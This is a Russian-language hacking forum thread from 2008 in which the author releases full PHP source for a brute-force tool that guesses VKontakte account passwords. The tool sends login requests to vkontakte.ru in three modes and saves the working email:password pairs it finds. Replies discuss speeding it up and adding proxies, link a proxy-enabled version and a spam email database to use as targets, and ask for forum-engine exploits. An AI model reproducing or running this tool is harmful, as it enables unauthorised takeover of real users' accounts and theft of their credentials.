[php] VkontakteBrute release

Discussion in 'PHP' started by Chaak, 15 Jun 2008.

  1. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    [ VkontakteBrute release ]​

    Описание:
    Очередной брутфорс Вконтакте, теперь на php.
    [​IMG]
    Возможности:
    • Брут на один email по списку паролей
    • Брут на один пароль по списку email
    • Брут по списку email:password
    Преимущества:
    • Графический интерфейс
    • Большое количество настроек
    • Простота
    • Скорость при одном потоке - 5 паролей в секунду
    • Работа на сервере
    Требования:
    • PHP-хостинг с поддержкой сокетов
    Установка и настройка:
    1. Залить скрипт на сервер
    2. Выставить права(chmod) на файл good.txt - 777
    3. В файл dictionary.txt положить лист паролей или email'ov или список email:password
    4. Запустить скрипт index.php и настроить его по своим нуждам.
    5. Запустить и пойти пить пиво
    6. Придти посмотреть пароли

    PHP:
    <?php
    #&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
    #&          VkBrute v. 1.03 
    #& 
    #&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-


    if(!isset($_POST['ok'])){
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" lang="ru">
    <head>
        <title>.::Vkontakte brutforce by ChaaK::.</title>
        <style>
            body{
                background-color: black;
            }
            table{
                color: green;
                font-weight: bold;
            }
            h1{
                color: white;
            }
        </style>
    </head>
    <body>
        <center    style="margin-top:70px;">
        <form action="" method="POST">
            <h1>.::Vkontakte brutforce by ChaaK::.</h1>
            <table border="1" width="540" height="240">
                <tr><td valign="center" height="78" width="150">Тип атаки:</td><td valign="top">
                <table border="0" width="100%" height="100%">
                    <tr><td><input name="attack" value="1" type="radio" checked="1"></td><td align="left">Атака на один email по списку паролей</td></tr>
                    <tr><td><input name="attack" value="2" type="radio"></td><td align="left">Атака на один пароль по списку email'ов</td></tr>
                    <tr><td><input name="attack" value="3" type="radio"></td><td align="left">Атака на список email:password</td></tr>
                </table>            
                </td></tr>
                <tr><td width="150" height="15px">E-mail</td><td style="font-size:12px"><input name="email" type="text" value="" size="33"> - для брута(для 1 вида атаки)</td></tr>
                <tr><td width="150" height="15px">Пароль</td><td style="font-size:12px"><input name="pass" type="text" value="" size="33"> - для брута(для 2 вида атаки)</td></tr>
                <tr><td width="150" height="15px">Словарь*</td><td><input name="dict" type="text" value="dictionary.txt" size="61"></td></tr>
                <tr><td width="150" height="15px">Хорошие пароли</td><td><input type="text" name="good" value="good.txt" size="61"></td></tr>
                <tr><td width="150" height="15px">Агент</td><td style="font-size:12px"><input type="text" name="user" value="Opera/9.50 (Windows NT 6.0; U; ru)" size="61"></td></tr>
                <tr><td width="150" height="15px">Время работы*</td><td style="font-size:13px"><input type="text" name="time" value="0" size="5"> - время работы скрипта в минутах, если 0 - то бесконечно.</td></tr>
                <tr><td colspan="2"><input type="submit" name="ok" value="::Начать работу::" style="width: 530px; height: 39px; background-color: black; color: green;"></td></tr>
            </table>
        </center>
        </form>
    </body>
    </html>
    <?php
    }else{
    set_time_limit(($_POST['time'])*60); 

    #############################################
    $email $_POST['email'];            
    $passw $_POST['pass'];                           
    $dict = @file($_POST['dict']);                
    $type$_POST['attack'];                                         
    $result $_POST['good'];                        
    $user_agent $_POST['user'];
    #############################################

    function brute($email,$pass) {    
        
    $fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);    
        
    $out "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";    
        
    $out .= "Host: vkontakte.ru\r\n";    
        
    $out .= "User-Agent: ".$GLOBALS['user_agent']."\r\n";    
        
    $out .= "Cookie: income=1\r\n";    
        
    $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";    
        
    fwrite($fp,$out);        
      
    $ans='';   
      while(!
    feof($fp))   
      {   
      
    $ans.=fgets($fp,128);   
      }   
      
    fclose($fp);  
      unset(
    $out);
      if(
    preg_match("/\b302 Found\b/is"$ans)) return true; else return false;   
    }


    if(
    $type==1){
        for(
    $i=0;$i<count($dict);$i++){ 
            
    $dict[$i]=trim($dict[$i]);
                if(
    brute($email,$dict[$i])){ 
                    
    $fp=fopen($result,'ab'); 
                    
    fwrite($fp,$email.':'.$dict[$i]."\n"); 
                       
    fclose($fp);         
                    exit(); 
                }
            unset(
    $dict[$i]);
            
    ob_implicit_flush(); 
        }
    }elseif(
    $type==2){
        for(
    $i=0;$i<count($dict);$i++){ 
            
    $dict[$i]=trim($dict[$i]);
                if(
    brute($dict[$i],$passw)){ 
                    
    $fp=fopen($result,'ab'); 
                    
    fwrite($fp,$dict[$i].':'.$passw."\n"); 
                    
    fclose($fp);        
                }
            unset(
    $dict[$i]);
            
    ob_implicit_flush(); 
        }
    }elseif(
    $type==3){
        for(
    $i=0;$i<count($dict);$i++){ 
            
    $dict[$i]=trim($dict[$i]);
                
    $array explode(":",$dict[$i]);    
                    if(
    brute($array[0],$array[1])){
                        
    $fp=fopen($result,'ab'); 
                        
    fwrite($fp,$array[0].':'.$array[1]."\n"); 
                        
    fclose($fp);  
                    }
            unset(
    $dict[$i]);
            
    ob_implicit_flush(); 
        }
    }
    echo 
    "Брут завершен! Смотрите результаты в файле <a href='$result'>$result</a>";
    }
    ?>

    Автор ©ChaaK 2008
     
    #1 Chaak, 15 Jun 2008
    Last edited: 4 Mar 2012
    12 people like this.
  2. oOoOoOo

    oOoOoOo Banned

    Joined:
    23 May 2008
    Messages:
    39
    Likes Received:
    45
    Reputations:
    -7
    щас заценим.
     
    8 people like this.
  3. k0lbasa

    k0lbasa Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    189
    Likes Received:
    131
    Reputations:
    -9
    красиво выглядит, а с поддержкой сокетов какие хостинги фришные есть?
     
    1 person likes this.
  4. oOoOoOo

    oOoOoOo Banned

    Joined:
    23 May 2008
    Messages:
    39
    Likes Received:
    45
    Reputations:
    -7
    А где там потоки править?
     
    1 person likes this.
  5. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    изобретёшь новый php? пыха потоки не поддерживает
     
  6. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    имхо добавь ещё игнор юзер аборт чтоб закрывать можно было
     
  7. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Мб он с помощью форка сделает подобие
     
    _________________________
  8. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    боян брут на пхп бред полный
    я это говорил говорю и буду говорить
    вот kaimi хороший брут сделал тока вот памяти многовато кушает а так норм
     
  9. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    ты поди пару лямов мыл загрузил)))у мя тоже самое
     
  10. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    _http://www.seoblog.com.ua/2007/03/20/multiplexing-in-php/
    Подобие многопоточности.
     
    1 person likes this.
  11. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Погугли: "многопоточность php неблокируемые сокеты"
     
  12. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Где брать мыльники? =\
     
    1 person likes this.
  13. Mr.Tech

    Mr.Tech Banned

    Joined:
    14 Jun 2008
    Messages:
    0
    Likes Received:
    8
    Reputations:
    0
    Походу актуален только первый вид подбора...
    Так как врядли у когото есть база логинов(мыльников) ВК....
     
  14. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    многопоточности в php нет и ещё явно долго не будет..всё о чём вы говорите это псевдо многопоточность
     
  15. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Isis
    Ну и вопрос!

    Mr.Tech
    Жжош. И зачем тебе непременно ВСЕ мыльники вконтакта? :)

    Sharky
    Да это псевдомногопоточность, и она отлично подходит для поставленной задачи :)

    P.S.
    т.к. мой ip блокировал контакт, то мне понадобилась поддержка прокси. В общем держите кому надо - тот же скрипт только работающий через проксю + убран баг с user-agent
    http://rapidshare.com/files/122727090/index.php.html
     
    #15 diehard, 16 Jun 2008
    Last edited: 16 Jun 2008
  16. Mr.Tech

    Mr.Tech Banned

    Joined:
    14 Jun 2008
    Messages:
    0
    Likes Received:
    8
    Reputations:
    0
    diehard, в брутуре есть фуекция брут по списку мыльников... Так где их взять? ))
     
  17. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Как где?
    Скачай спам базу!

    http://depositfiles.com/ru/files/5823332
     
  18. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    Как вы уже заебали....
    пиздец ща этих брутеров расплодилось, ток толку с них а??? на аки стоят не такие уж и простые пароли, хоть ктото хоть один пароль сбрутил?
    Ща модная тенденция, брать чужие сорцы смотреть , немного их переделывать и выкладывать свою версию, не задумываясь а нужен ли вобще данный скрипт комуто, пытаясь тем самым показать какой ты охуенный php кодер

    есле честно то уже достали всякий мусор выкладывать, и создавать для этого отдельные темы, ужеб в одной все выкладывали...
     
    #18 nc.STRIEM, 16 Jun 2008
    Last edited: 16 Jun 2008
    3 people like this.
  19. DoDo

    DoDo Banned

    Joined:
    12 Jun 2008
    Messages:
    37
    Likes Received:
    21
    Reputations:
    4
    фтопку все эти говнотулзы!
    пишите лучше сплоенты под булку и дле!
     
  20. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Фига...таки на всех "unix-серверах" есть файл подкачки? :))) Не знал :)